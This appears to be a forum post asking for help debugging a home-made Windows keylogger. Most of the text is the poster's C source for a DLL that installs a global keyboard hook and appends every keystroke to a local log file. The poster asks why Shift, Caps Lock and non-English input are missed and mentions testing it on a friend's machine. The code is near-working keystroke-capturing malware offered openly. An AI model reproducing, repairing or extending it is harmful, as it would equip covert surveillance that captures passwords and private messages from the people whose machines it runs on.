Hi, I finally came up with a key logger, it was tested on my friend machine, he insisted and it worked. It suppose to write in capital and small letters as well as picking up a SHIFT key, or any key, also any language. However, when I tested on my machine, it only writes in small letters and in English only, when I switch to another language it still outputs to a file with English.
Also, when I used SHIFT key it does not recognize, also CAP key and NUM key.
Here is the dll file, and of course I call it with dll caller, which is another file calling it.
#include <windows.h>
#include <stdio.h>
HINSTANCE hInstDLL = NULL;
HHOOK hHook = NULL;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode < 0)
CallNextHookEx(hHook, nCode, wParam, lParam);
if (!(lParam & (1 << 31)))
{
FILE *pFile;
if (!_wfopen_s(&pFile, L"logfile.txt", L"a+, ccs=UTF-8"))
{
HWND hActive = GetActiveWindow();
DWORD dwThreadID = GetWindowThreadProcessId(hActive, NULL);
HKL hKL = GetKeyboardLayout(dwThreadID);
BYTE lpKeyState[256];
GetKeyboardState(lpKeyState);
wchar_t sBuffer[256];
ToUnicodeEx(wParam, MapVirtualKeyEx(wParam, MAPVK_VK_TO_VSC, hKL), lpKeyState, sBuffer, 256, 0, hKL);
fwrite(sBuffer, sizeof(wchar_t), wcslen(sBuffer), pFile);
fclose(pFile);
}
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
__declspec(dllexport) void SetHook(void)
{
hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstDLL, 0);
}
__declspec(dllexport) void Unhook(void)
{
UnhookWindowsHookEx(hHook);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
hInstDLL = hinstDLL;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Anyone knows what could be wrong with the code, any correction must be made.
Thanks in advance...